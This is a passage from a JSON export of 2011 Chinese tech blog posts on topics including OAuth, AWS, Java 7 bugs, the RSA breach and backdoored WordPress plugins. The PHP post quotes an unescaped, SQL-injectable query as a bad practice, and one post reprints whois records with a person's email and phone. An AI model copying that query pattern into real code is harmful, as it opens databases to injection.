    "body": "<a href=\"http://www.flickr.com/\">Flickr</a> 宣佈支援 <a href=\"http://oauth.net/core/1.0a/\">OAuth Core 1.0a</a> 了：「<a href=\"http://code.flickr.com/blog/2011/06/21/flickr-now-supports-oauth-1-0a/\">Flickr now Supports OAuth 1.0a</a>」，同時也宣佈舊的 API 將在 2012 年的上半年停用。文件在「<a href=\"http://www.flickr.com/services/api/auth.oauth.html\">User Authentication</a>」這邊可以看到。\r\n\r\n另外，除了推出新的 API 以外，Flickr 也提供用舊的 token 直接取得 OAuth Core 1.0a 的 access token 的 API call：\r\n<blockquote>Transition from the old Authentication API\r\n\r\nYou can exchange an old auth token from the old Authentication API, to an OAuth access token token. The process simply requires that you make an authenticated request to the flickr.auth.oauth.getAccessToken API, which will exchange the old token used to make the request, with a new OAuth access token.\r\n\r\nPlease note, that the old auth token will be deleted 24 hours after calling this API method.</blockquote>\r\n這個方法讓現有的應用可以直接轉換到新的 OAuth Core 1.0a API 上，不需要再認證一次。",
    "title": "Flickr 也支援 OAuth Core 1.0a 了..."
  },
  {
    "id": "2691",
    "body": "在 <a href=\"http://techcrunch.com/\">TechCrunch</a> 上看到 <a href=\"http://wordpress.org/\">WordPress.org</a> 強制所有 WordPress.org 的使用者更新密碼 (不是 <a href=\"http://wordpress.com/\">WordPress.com</a>)：「<a href=\"http://techcrunch.com/2011/06/21/wordpress-org-possibly-hacked-forces-password-resets/\">WordPress.org Forces Password Resets Due To Compromised Plugins</a>」。\r\n\r\n起因是 <a href=\"http://wordpress.org/extend/plugins/addthis/\">AddThis</a>、<a href=\"http://wordpress.org/extend/plugins/wptouch/\">WPtouch</a> 以及 <a href=\"http://wordpress.org/extend/plugins/w3-total-cache/\">W3 Total Cache</a> 這三個 plugin 有異常 commit 塞入 backdoor code。(瞬間就中兩槍)\r\n\r\n這幾天有更新 plugin 的人最好趕快看一下... 慘啊 :/",
    "title": "WordPress plugins 安全性問題"
  },
  {
    "id": "2692",
    "body": "<del>剛剛收到來自 John Doe 的信件</del> (依要求移除，另外出外景取材)：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5859701663\"><img src=\"http://farm6.static.flickr.com/5152/5859701663_e4440e0645_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5860291054\"><img src=\"http://farm6.static.flickr.com/5033/5860291054_d075927e81_b.jpg\" alt=\"\" /></a>\r\n",
    "title": "來份 John Doe 的廣編稿吧..."
  },
  {
    "id": "2695",
    "body": "<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wYArM.webp\" /><img src=\"https://i.gslin.com/imgur/wYArM.jpg\" alt=\"node.js logo\" /></picture>\r\n\r\n<a href=\"http://nodejs.org/\">node.js</a> 的 blog 上提到了微軟正在協助 <a href=\"http://www.joyent.com/\">Joyent</a>，將 node.js 移植到 Windows 平台上：「<a href=\"http://blog.nodejs.org/2011/06/23/porting-node-to-windows-with-microsoft%E2%80%99s-help/\">Porting Node to Windows With Microsoft's Help</a>」。\r\n\r\n預定將會釋出官方版本的 node.exe 供大家下載讓大家在 <a href=\"http://www.microsoft.com/windowsserver/\">Windows Server</a> 上跑 (依照 blog 的講法是打算向下支援到 2003)，並且同時讓 node.js 變成 <a href=\"http://www.microsoft.com/windowsazure/\">Windows Azure</a> 其中一項服務。",
    "title": "node.js 將在微軟的協助下移植到 Windows 上..."
  },
  {
    "id": "2696",
    "body": "<a href=\"http://en.wikipedia.org/wiki/Evan_Williams_(entrepreneur)\">Evan Williams</a> (<a href=\"http://www.blogger.com/\">Blogger</a> 與 <a href=\"http://twitter.com/\">Twitter</a> 的創辦人) 認為 domain 的重要性愈來愈低，給出了五個原因：「<a href=\"http://evhead.com/2011/06/five-reasons-domains-are-less-important.html\">Five Reasons Domains Are Getting Less Important</a>」。\r\n\r\n五個原因分別是「Google 提供的搜尋」、「輸入網址的自動完成功能」、「行動裝置無法顯示完整網址」、「Apps」、「事實證明很多網站不需要 .com 也能成功」XD\r\n\r\n不過他自己在文章的一開頭也有講：\r\n<blockquote>While I'm still a sucker for a clean .com, it does seem less important, and it will continue to become less important, ...</blockquote>\r\n所以有機會搶到 .com 的話還是乖乖的去搶吧... XD",
    "title": "Evan Williams 對 domain 重要性的看法..."
  },
  {
    "id": "2699",
    "body": "<a href=\"http://www.google.com/\">Google</a> 把最上方的工具列換成黑色了，我是很喜歡這個配色 (更清楚)，但有些人大概不怎麼喜歡：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6feAD.webp\" /><img src=\"https://i.gslin.com/imgur/6feAD.jpg\" alt=\"\" /></picture>\r\n\r\n但如果是 SSL 版本，好像怪怪的，上方的工具列出不來 (關掉 <a href=\"http://adblockplus.org/\">Adblock Plus</a> 也是一樣)，應該會有人去反應吧？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fmHHA.webp\" /><img src=\"https://i.gslin.com/imgur/fmHHA.jpg\" alt=\"\" /></picture>",
    "title": "Google 最上方的工具列換成黑色..."
  },
  {
    "id": "2700",
    "body": "剛剛才開個小會，出來就被 <a href=\"http://jnlin.org/\">jnlin</a> 提醒，<a href=\"http://aws.amazon.com/\">AWS</a> 宣佈降價：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2011/06/30/aws-announces-new-data-transfer-pricing/\">AWS Announces New Data Transfer Pricing</a>」。\r\n\r\n自 7/1 開始，從 Internet 流入 AWS 的費用全免，另外美國與歐洲區的頻寬費再降。美國本來是 10TB 以下 USD$0.15/GB，到 50TB 以下的是 USD$0.11/GB，現在改成 10TB 以下都是 USD$0.12/GB，50TB 以下則是 USD$0.09/GB。除了普通的 data transfer 以外，<a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 也有對應的調整。\r\n\r\n對於自己的機器混搭 AWS 的公司來說，光是 inbound bandwidth 不算錢就可以省下一筆可觀的金額...",
    "title": "AWS 又降價..."
  },
  {
    "id": "2703",
    "body": "把系統作成 template 後，會希望可以複製多份設定不同的細節。除了要 copy vdi 檔以外，還需要用 <code>VBoxManage</code> 指令修改硬碟映像檔的 UUID 值，不然會因為 UUID 值相同而無法匯入到 <a href=\"http://www.virtualbox.org/\">VirtualBox</a> 內：\r\n<blockquote><code>cp /path1/MyHardDiskTemplate.vdi /path2/ooxx.vdi\r\nVBoxManage internalcommands sethduuid /path2/ooxx.vdi</code></blockquote>\r\n另外在有支援 <a href=\"http://en.wikipedia.org/wiki/Copy-on-write\">COW</a> 的檔案系統上 (像是 <a href=\"http://en.wikipedia.org/wiki/Btrfs\">Btrfs</a>？)，cp 指令可以試著加上 <code>--reflink</code>，讓檔案系統知道這是同樣的檔案，可以更省空間...",
    "title": "VirtualBox 複製硬碟資料的方式"
  },
  {
    "id": "2706",
    "body": "申請 <a href=\"http://www.emome.net/channel?chid=563\">mCool</a> 方案後第一次收到生效月的帳單，厚厚的一包：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5909722362/\"><img src=\"http://farm7.static.flickr.com/6030/5909722362_25bb24838c_b.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/5909167207/\"><img src=\"http://farm7.static.flickr.com/6025/5909167207_a469cffbe6_b.jpg\" alt=\"\" /></a>\r\n\r\n基本月租費率 383 加上 mCool 最高值 299 就是 682，看起來這個方法沒什麼問題。已經幾個月過去了，把想的到的注意事項寫起來：\r\n<ul>\r\n\t<li>首先是開通 mCool 方案，並且關閉 3G APN internet 的能力 (避免出事)，這兩個設定都可以透過客服幫你處理，請客服關的時候記得順便問什麼時候生效。</li>\r\n\t<li>另外，請客服幫你設定下次帳單要寄通話明細，如果發生意外的時候總是要有資料才知道發生什麼事情。</li>\r\n\t<li>除了基本的 APN Proxy 設定外 (這邊就不教學了，網路上很多)，再來是裝 <a href=\"http://forum.xda-developers.com/showthread.php?t=766569\">Transparent Proxy</a>。這是因為有些應用程式可以直接吃 APN Proxy 設定，但遇到不吃的應用程式就要試著用這套軟體打通...</li>\r\n</ul>\r\n一時間想到的就這樣...\r\n\r\n參考資料：\r\n<ul>\r\n\t<li><a href=\"http://blog.ijliao.info/archives/2008/03/27/3528/\">mCool 到底能連什麼 ?</a></li>\r\n\t<li><a href=\"http://blog.ijliao.info/archives/2008/06/19/3586/\">mCool 帳單解析</a></li>\r\n</ul>",
    "title": "mCool 方案的帳單..."
  },
  {
    "id": "2707",
    "body": "剛剛在 <a href=\"http://twitter.com/\">Twitter</a> 上看到 <a href=\"http://www.daemonology.net/\">Colin Percival</a> 的 tweet，提到他用「抽換」把 Windows 開機換成 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 開機，所以現在可以在 AWS East 上看到 FreeBSD 64bits EBS image 了：「<a href=\"http://www.daemonology.net/blog/2011-07-08-FreeBSD-on-EC2-via-defenestration.html\">FreeBSD on EC2 via defenestration</a>」。\r\n\r\n缺點是因為這是利用 Windows image 換掉，所以計費會以 Windows 的費用計算。(也就是 Windows tax)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/KnzQL.webp\" /><img src=\"https://i.gslin.com/imgur/KnzQL.jpg\" alt=\"\" /></picture>\r\n\r\n不愧是 <a href=\"http://www.daemonology.net/depenguinator/\">Depenguniator</a> 的作者，總是會想到這種奇怪的方式 XDDD",
    "title": "FreeBSD 64bits 在 AWS 上的情況"
  },
  {
    "id": "2709",
    "body": "昨天看到 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\">PuTTY</a> 出 0.61 了：「<a href=\"http://lists.tartarus.org/pipermail/putty-announce/2011/000016.html\">PuTTY version 0.61 is released</a>」，相隔四年多的另外一個新版。\r\n\r\n看 New features 裡面，我看到一點還蠻有趣的：\r\n<blockquote>On Windows: the Appearance panel now includes a checkbox to allow the selection of non-fixed-width fonts, which PuTTY will coerce into a fixed-width grid in its terminal emulation. In particular, this allows you to use GNU Unifont and Fixedsys Excelsior. (Thanks to Randall Munroe for a serious suggestion that inspired this.)</blockquote>\r\n這代表可以用各種奇怪的字體嗎？主力系統換成 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 後就沒用 PuTTY 了...",
    "title": "PuTTY 0.61"
  },
  {
    "id": "2711",
    "body": "在 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 上看到的長期計畫，要廢除 ext/mysql：「<a href=\"http://marc.info/?l=php-internals&m=131031747409271&w=2\">deprecating ext/mysql</a>」。\r\n\r\n主要的原因是 security 習慣問題。因為 ext/mysql 不支援 prepare 與 execute 這類不需要自己處理 escape 的函式，所以使用 ext/mysql 的人必須自己處理 escape 的問題，也就是透過 <a href=\"http://php.net/manual/en/function.mysql-escape-string.php\">mysql_escape_string</a> 或是 <a href=\"http://php.net/manual/en/function.mysql-real-escape-string.php\">mysql_real_escape_string</a>。而很多書籍為了讓初學者容易了解，會給出很糟的範例，像是：\r\n\r\n<pre>mysql_query(\"SELECT * FROM `user` WHERE `username` = '$username';\");</pre>\r\n\r\n而 <code>$username</code> 沒有先檢查過。\r\n \r\n依照提議，目前只會在文件上建議改用 <a href=\"http://php.net/manual/en/book.pdo.php\">PDO</a> 或是 <a href=\"http://php.net/manual/en/book.mysqli.php\">mysqli</a>，不會對目前版本有任何改變。接下來是 5.5 與 6.0 時會看情況決定要不要加上 <code>E_DEPRECATED</code>。\r\n\r\n目前的提議還沒有提到何時要拔掉 ext/mysql，不過看起來 6.0 之前應該是不會做...",
    "title": "PHP 長期計畫：廢除 ext/mysql，改用 pdo_mysql 或 mysqli"
  },
  {
    "id": "2713",
    "body": "在 <a href=\"http://nginx.org/\">nginx</a> 網站上有這則訊息，<a href=\"http://sysoev.ru/en/\">Igor Sysoev</a> 將會成立公司，全力投入 nginx 的發展及維護。nginx 仍然會維持 2-clause BSD license，並免費提供使用。\r\n\r\n在「<a href=\"http://launch.is/blog/nginx-creator-plans-company-to-better-serve-millions-of-site.html\">Nginx Creator Plans Company to Better Serve Millions of Sites Using Its Web Servers</a>」這邊有些說明，另外在說明後面有訪問的內容。\r\n\r\n不知道會提供怎麼樣的服務...",
    "title": "nginx 作者 Igor Sysoev 成立公司"
  },
  {
    "id": "2714",
    "body": "<strong>Update</strong>：更新資訊於「<a href=\"http://blog.gslin.org/archives/2011/07/23/2718/%E5%9B%A0-techbang-com-tw-%E8%88%87-techbang-tw-%E4%BA%8B%E4%BB%B6%E5%90%91-tenz-%E8%87%B4%E6%AD%89/\">因 techbang.com.tw 與 techbang.tw 事件向 tenz 致歉</a>」。\r\n\r\n剛剛發現連不上，試著找原因，發現是 domain 過期了：\r\n<pre>\r\nDomain Name: techbang.com.tw\r\nRegistrant:\r\n城邦文化事業股份有限公司\r\nCite Publishers\r\n7F., No.141, Sec. 2, Minsheng E. Rd., Jhongshan Dist.\r\n\r\n   Contact:\r\n      Eric Li   tenz1225@gmail.com\r\n      TEL:  886 0225181133\r\n      FAX:  886 0225001905\r\n\r\n   Record expires on 2011-07-22 (YYYY-MM-DD)\r\n   Record created on 2009-07-22 (YYYY-MM-DD)\r\n\r\n   Domain servers in listed order:\r\n      ns-184.awsdns-23.com          205.251.192.184\r\n      ns-573.awsdns-07.net          205.251.194.61\r\n      ns-1813.awsdns-34.co.uk       205.251.199.21\r\n      ns-1511.awsdns-60.org         205.251.197.231\r\n\r\nRegistration Service Provider: PCHOME\r\n</pre>\r\n另外看了一下沒在用的 domain，也是同樣的問題：\r\n<pre>\r\nDomain Name: techbang.tw\r\nRegistrant:\r\n城邦文化事業股份有限公司\r\nCite Publishers\r\n7F., No.141, Sec. 2, Minsheng E. Rd., Jhongshan Dist.\r\n\r\n   Contact:\r\n      Eric Li   tenz1225@gmail.com\r\n      TEL:  886 0225181133\r\n\r\n   Record expires on 2011-07-22 (YYYY-MM-DD)\r\n   Record created on 2009-07-22 (YYYY-MM-DD)\r\n\r\n   Domain servers in listed order:\r\n      ns1.afraid.org       67.19.72.206\r\n      ns2.afraid.org       174.37.196.55\r\n      ns3.afraid.org       72.20.15.62\r\n      ns4.afraid.org       208.43.71.243\r\n\r\nRegistration Service Provider: PCHOME\r\n</pre>\r\n<del datetime=\"2011-07-23T15:50:08+00:00\">剛好是星期六，不知道什麼時候才會恢復... (<a href=\"http://wp.tenz.net/about-me\">tenz 是 Y! 的 staff</a>，再加上過期後必須先 renew 才能 transfer 的 policy，有機會拉椅子出來嗎？)</del>\r\n\r\n<strong>Update</strong>：剛剛看到已經 renew 了，DNS 測起來也 okay 了。沒有 renew 應該是因為沒收到 e-mail notification：「<a href=\"https://twitter.com/#!/tenz/status/94761936117436417\">@gslin 帳密都交出去了，他們沒改我有什麼辦法。</a>」。\r\n\r\n<strong>Update</strong>：補上面 Update 的時候忘了把標題一起改掉。",
    "title": "看起來有人忘記繳錢了..."
  },
  {
    "id": "2718",
    "body": "因上篇「<a href=\"http://blog.gslin.org/archives/2011/07/23/2714/%E7%9C%8B%E8%B5%B7%E4%BE%86%E6%9C%89%E4%BA%BA%E5%BF%98%E8%A8%98%E7%B9%B3%E9%8C%A2%E4%BA%86/\">看起來有人忘記繳錢了…</a>」單獨以 contact mail 仍為 tenz 的郵件位置而認定未交接完成，造成當事人 <a href=\"http://wp.tenz.net/\">tenz</a> 極大困擾向 tenz 致歉。\r\n\r\n主要的說明可以參考 Twitter 上 <a href=\"http://blog.xdite.net/\">xdite</a> 這兩則 tweet：\r\n<blockquote><a href=\"https://twitter.com/#!/xdite/status/94770692549132288\">@gslin domain 註冊商後台（ PCHOME )有 bug。1. 帳號就是 email，要轉走只能 transfer，不能改 mail …。2. 帳號雖然不能換，但 contact mail 當初有換，但是沒有被更新到 whois 上。</a>\r\n\r\n<a href=\"https://twitter.com/#!/xdite/status/94771552326918144\">@gslin 雖然我們設了通知 email，但我們也完全沒收到任何過期通知警告信。所以就活生生炸了。這件事從頭到尾跟 @tenz 一點關係都沒有。 我看到你特別點名他有點錯愕。因為這是 call 我就可以處理的事...</a></blockquote>\r\n其他的事情經過可以參考上篇文章內 tenz 於 comment 的說明，在文章內解釋的很清楚。",
    "title": "因 techbang.com.tw 與 techbang.tw 事件向 tenz 致歉"
  },
  {
    "id": "2719",
    "body": "在「<a href=\"http://developers.slashdot.org/story/11/07/29/1639233/Java-7-Ships-With-Severe-Bug\">Java 7 Ships With Severe Bug</a>」這邊提到最近出新版的 Java 7 有 bug，在 Solr 的警告文案裡面有提到這三個 bug：\r\n<ul>\r\n\t<li><a href=\"http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7070134\">Hotspot crashes with sigsegv from PorterStemmer</a></li>\r\n\t<li><a href=\"http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7044738\">Loop unroll optimization causes incorrect result</a></li>\r\n\t<li><a href=\"http://bugs.sun.com/bugdatabase/view_bug.do?bug_id=7068051\">SIGSEGV in PhaseIdealLoop::build_loop_late_post on T5440</a></li>\r\n</ul>\r\n由於有幾個 bug 是在 Java 7 正式釋出的最後階段被找出來，再加上制式流程的關係，即使會爛掉 (產生 SIGSEGV)，<a href=\"http://www.oracle.com/\">Oracle</a> 還是無法承諾下個 Update (也就是 u1) 會更新，只能保證在 u2 會更新：「<a href=\"http://mail.openjdk.java.net/pipermail/hotspot-compiler-dev/2011-July/005971.html\">sigsegv on porter stemmer (Lucene, but also otherwise)</a>」。\r\n\r\n在「<a href=\"http://www.lucidimagination.com/blog/2011/07/28/dont-use-java-7-for-anything/\">Don’t Use Java 7, For Anything</a>」這篇就更直接了，直接說 Java 7 目前是個不能用的 GA Product：\r\n<blockquote>Don’t use Java 7 for anything (unless maybe you know you don’t have any loops in your java code)</blockquote>\r\n先繼續觀望，目前跑 <a href=\"http://cassandra.apache.org/\">Cassandra</a> 的機器還是先不要亂動...",
    "title": "最近出新版的 Java 7 的 bug..."
  },
  {
    "id": "2720",
    "body": "在 <a href=\"http://news.ycombinator.com/\">Hacker News</a> 上看到的，如果你用 <a href=\"http://www.google.com/\">Google Search</a> 搜尋「<a href=\"http://www.google.com/search?q=search\">search</a>」，在搜尋結果的第一頁看不到 <a href=\"http://www.google.com/\">Google</a> 的服務：\r\n\r\n<a href=\"http://www.google.com/search?q=search\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/y28MR.webp\" /><img src=\"https://i.gslin.com/imgur/y28MR.jpg\" alt=\"\" /></picture></a>\r\n\r\n純粹是其他技術原因，或者是產品定位的問題？",
    "title": "用 Google Search 找「search」"
  },
  {
    "id": "2721",
    "body": "以 <a href=\"http://www.google.com/\">Google</a> 在全球的機房數量當然是一個賣點，不過除了 Geo-based 外，Google 還做了很多很多調整，至於這些調整會不會讓效能變好，就不曉得了...\r\n\r\nGoogle 的說明頁面上以 <code><a href=\"http://www.ramkikrishnan.com/\">www.ramkikrishnan.com</a></code> 這個網站當作範例，目前這個網站是指回 original site，如果你要看輸出效果的話可以設 proxy 到 <code>ghs.google.com</code> 硬抓 <code>www.ramkikrishnan.com</code> 的 html 下來看，我把 diff 結果貼到<a href=\"https://gist.github.com/1116710\">這邊</a>。\r\n\r\n可以看出 Google 做了一些事情：\r\n<ul>\r\n\t<li>重新判讀 html 後再丟出來，所以有些 html attribute 的順序被改變。</li>\r\n\t<li>如果配合 IE 的 conditional comments 讀入其他的 css，順序有可能被改變，但不確定是 Google 沒有針對 IE 的 conditional comments 判斷，還是將 css 讀出來後認為順序沒有差異 (我是用 <a href=\"http://curl.haxx.se/\">curl</a> 去抓，會因為 <code>User-agent</code> 給不同內容嗎？不確定...)。</li>\r\n\t<li>上面除了可能是 conditional comments 的處理外，也有可能是把 <code>link</code> 放到 <code>script</code> 後面，或是因為要放到 <code>head</code> 尾段造成的。</li>\r\n\t<li>會把 <code>&amp;copy;</code> 轉成 <code>&copy;</code>，但也會把 <code>'</code> 轉成 <code>&amp;#39;</code>，看不太出來原因是什麼...</li>\r\n</ul>\r\n目前還看不出來比較複雜的 case，等帳號下來後再實際測試看看會比較準...",
    "title": "Google 推出的 Page Speed Service"
  },
  {
    "id": "2723",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://www.samba.org/\">Samba</a> 出 3.6.0，實做 SMB 2.0 協定：「<a href=\"http://tech.slashdot.org/story/11/08/09/1949239/Samba-36-Released-With-SMB2-Support\">Samba 3.6 Released With SMB2 Support</a>」。\r\n\r\nSMB 2.0 對於一般人來說，與之前版本最大的差異在速度 (參考微軟人 blog 上「<a href=\"http://blogs.msdn.com/b/chkdsk/archive/2006/03/10/548787.aspx\">What's new in SMB in Windows Vista</a>」這篇的解釋)。\r\n\r\n不過現在 Samba 是 <a href=\"http://gplv3.fsf.org/\">GPLv3</a> 了，hmmm...",
    "title": "Samba 3.6.0 - 支援 SMB 2.0"
  },
  {
    "id": "2725",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到的消息：「<a href=\"http://mobile.slashdot.org/story/11/08/16/1341221/Samsung-Hires-Steve-Cyanogen-Kondik\">Samsung Hires Steve 'Cyanogen' Kondik</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jFT2a.webp\" /><img src=\"https://i.gslin.com/imgur/jFT2a.jpg\" alt=\"CyanogenMod Logo\" /></picture>\r\n\r\n<a href=\"http://www.cyanogenmod.com/\">CyanogenMod</a> 在非官方 <a href=\"http://www.android.com/\">Android</a> 世界裡面是很大一個「派系」，<a href=\"http://www.samsung.com/\">Samsung</a> 把這個派系的老大找進去，應該是有些計畫要讓他做。不管怎樣，目前 Samsung 是 <a href=\"http://www.google.com/\">Google</a>/Android 主力 partner，這件事情對 community 應該是好事？",
    "title": "Samsung 把 CyanogenMod 作者找進去..."
  },
  {
    "id": "2726",
    "body": "因為 <a href=\"https://mail.google.com/\">Gmail</a> 沒辦法很方便的切換帳號，所以得想辦法讓 cookie 分開存。\r\n\r\n試著找套件來做到這件事情，但都不太好處理... 於是決定跑兩個不同 profile 的 <a href=\"http://www.google.com/chrome\">Chrome</a> (這樣 cookie 就會分開存了)。\r\n\r\nscript 長這樣：\r\n<blockquote><pre>#!/bin/sh\r\ncd $HOME\r\nexec chromium-browser --user-data-dir=.config/chromium-2/ &amp;</pre></blockquote>\r\n留個紀錄起來...",
    "title": "跑兩個不同 Profile 的 Chrome"
  },
  {
    "id": "2729",
    "body": "因為 Face recognition (<a href=\"http://zh.wikipedia.org/wiki/%E4%BA%BA%E8%84%B8%E8%AF%86%E5%88%AB\">人臉識別</a>) 功能，再加上像 <a href=\"http://www.facebook.com/\">Facebook</a> 這種社群網站的功能，將會使得臥底警察非常難以隱藏身份：「<a href=\"http://tech.slashdot.org/story/11/08/26/0958209/Social-Media-a-Threat-To-Undercover-Cops\">Social Media a Threat To Undercover Cops</a>」。\r\n\r\n<a href=\"http://slashdot.org/\">Slashdot</a> 上的 comment 覺得這樣反到是相當棒，本來就不應該有臥底...",
    "title": "Facebook 對於臥底警察的威脅"
  },
  {
    "id": "2730",
    "body": "今年三月的時候，<a href=\"http://www.rsa.com/\">RSA Security</a> 被攻破，攻擊者順利取得 <a href=\"http://www.rsa.com/node.aspx?id=1156\">SecurID</a> 的資料，這些資料很有可能降低 SecurID 的安全性。也因此有了 <a href=\"http://www.lockheedmartin.com/\">Lockheed Martin</a> 被攻擊的事情。\r\n\r\n在官方的說明「<a href=\"http://blogs.rsa.com/rivner/anatomy-of-an-attack/\">Anatomy of an Attack</a>」中，有提到「2011 Recruitment plan.xls」是使用 Excel 檔案，加上 Adobe Flash vulnerability (<a href=\"http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0609\">CVE-2011-0609</a>) 攻入，而這是個 0-day attack (在當時)。\r\n\r\n防毒軟體專家一直試著找出該份 Excel 檔。經過五個月，終於被找出來三月時寄到 RSA Security 的檔案，由某個可能是 <a href=\"http://www.emc.com/\">EMC</a> 的人在 3/19 上傳到 <a href=\"http://www.virustotal.com/\">VirusTotal</a> 試著掃描：「<a href=\"http://www.f-secure.com/weblog/archives/00002226.html\">How we found the file that was used to Hack RSA</a>」。\r\n\r\n開啟這個檔案後會被植入木馬，並且連上 server，接下來的故事在之前 RSA Security 公佈的說明裡面就有不少輪廓了。",
    "title": "RSA Security 被攻破的途徑"
  },
  {
    "id": "2733",
    "body": "為了螢幕的問題弄得相當疲倦 XD\r\n\r\n這幾天可以在一般的店家通路買到新的 <a href=\"http://www.apple.com/tw/macmini/\">Mac Mini</a>，但沒事先做好功課，配上 <a href=\"http://www.dell.com/ae/business/p/dell-u2711/pd\">Dell U2711</a> 讓人碰了不少壁...\r\n\r\n買完 Mac Mini 後第一個想法是用 DVI &amp; USB KVM 同時接 PC 與 Mac Mini，於是順便買 <a href=\"http://www.aten.com.tw/products/productItem.php?pid=20091009103623001&amp;psid=20070302102444002&amp;pcid=20070302101531003&amp;layerid=subClass3\">ATEN CS682</a>，裝上去後發現只能支援到 1920×1080... 想想算了，其他地方也還用的到。\r\n\r\n第二天再去光華商場找一條 DVI 線 (U2711 有兩個 DVI 接頭)，要接上去後發現是 <a href=\"http://zh.wikipedia.org/wiki/HDMI\">HDMI</a> 轉出來的線而發現不妙，因為 <a href=\"http://www.apple.com/tw/macmini/specs.html\">Mac Mini 的技術規格</a>看起來沒有支援 HDMI 1.3 (可以到 2560×1600)，實際接上去後發現轉出來的 DVI 也只支援 1920×1080。\r\n\r\n然後查了一下發現可以用 <a href=\"http://zh.wikipedia.org/wiki/Thunderbolt\">Thunderbolt</a> 當作 <a href=\"http://zh.wikipedia.org/wiki/Mini_DisplayPort\">Mini DisplayPort</a> 接到 <a href=\"http://zh.wikipedia.org/wiki/DisplayPort\">DisplayPort</a> 上面。(蘋果的網站有說明必須是最後一個 device：「<a href=\"http://support.apple.com/kb/HT4744?viewlocale=zh_TW\">顯示器：Mini DisplayPort 顯示器必須是 Thunderbolt 鏈結中的最後一個裝置</a>」)\r\n\r\n星期五再去戰一次，大概有幾個選擇：\r\n<ul>\r\n\t<li>買一條 Mini DisplayPort 轉 DisplayPort 的線，把 Thunderbolt 當作 Mini DisplayPort 用掉，之後有機會用到 Mini DisplayPort 的時候再說。</li>\r\n\t<li>買 Thunderbolt 轉 DVI 的轉接頭。(不知道有沒有這東西)</li>\r\n</ul>\r\n至於 KVM 的話暫時就先不考慮了...",
    "title": "新的 Mac Mini"
  },
  {
    "id": "2736",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 會把 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 的 Public IP range 更新在 Community Forum 的公告區：「<a href=\"https://forums.aws.amazon.com/forum.jspa?forumID=30\">AWS Developer Forums: Amazon Elastic Compute Cloud</a>」，目前是在「<a href=\"https://forums.aws.amazon.com/ann.jspa?annID=1182\">Announcement: Amazon EC2 Public IP Ranges</a>」這頁 (每次更新可能會再開新的文章)。\r\n\r\n因為這頁還算簡單，要抓出來使用的話可以用：\r\n<blockquote><code>lynx -dump https://forums.aws.amazon.com/ann.jspa?annID=1182 | grep -Eo '[0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+/[0-9]+'</code></blockquote>",
    "title": "EC2 的 Public IP Range"
  },
  {
    "id": "2738",
    "body": "前幾天 <a href=\"http://twitter.com/\">Twitter</a> 推出了中文版 (包括繁體與簡體)：「<a href=\"http://blog.twitter.com/2011/09/five-new-languages.html\">Five new languages</a>」。\r\n\r\n對岸的市場可能還是進不去，但在台灣會加速 <a href=\"http://www.plurk.com/\">Plurk</a> 的死亡... 從 <a href=\"https://plus.google.com/\">Google+</a> 的出現以後就愈來愈明顯了，現在 Microblogging 的大魔頭再加入戰局，應該會更快...\r\n\r\n<a href=\"http://www.alexa.com/siteinfo/plurk.com\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/v6yWJ.webp\" /><img src=\"https://i.gslin.com/imgur/v6yWJ.jpg\" alt=\"\" /></picture></a>",
    "title": "Twitter 中文版"
  },
  {
    "id": "2742",
    "body": "睡一睡爬起來看文章，發現 <a href=\"http://www.linode.com/\">Linode</a> 在東京設了機房提供 VPS 服務：「<a href=\"http://blog.linode.com/2011/09/19/linode-cloud-asia-pacific/\">Linode Cloud Asia-Pacific!</a>」，更重要的是價錢 (包括頻寬) 與之前相同：\r\n<blockquote>There is no premium for placing Linode instances in our Asia Pacific location. Pricing for this location is the same as our other facilities.</blockquote>\r\n幾個 ISP 的 latency 情況：\r\n<ul>\r\n\t<li><a href=\"http://www.hinet.net/\">HiNet</a> (Colocation)：35ms</li>\r\n\t<li><a href=\"http://www.tfn.net.tw/\">TFN</a> (Colocation)：33ms</li>\r\n\t<li><a href=\"http://www.seed.net.tw/\">SEEDNet</a> (遠傳 Colocation)：42ms</li>\r\n\t<li><a href=\"http://www.nctu.edu.tw/\">交大</a> (<a href=\"http://www.twgate.net/\">TWGate</a> transit)：54ms</li>\r\n\t<li><a href=\"http://www.nccu.edu.tw/\">政大</a> (TANet)：33ms</li>\r\n</ul>\r\n至少沒有繞到地球上奇怪的地區再到日本...\r\n\r\n以「<a href=\"http://www.linode.com/avail/\">Datacenter Availability</a>」這頁的資料看起來，東京目前有相當多小台的機器可以用... (超過 2GB RAM 以上的就沒幾台了)\r\n\r\n接下來如果能把 Isolated Private Network 做出來，那就...",
    "title": "Linode 在東京 (日本) 設機房提供 VPS 服務"
  },
  {
    "id": "2743",
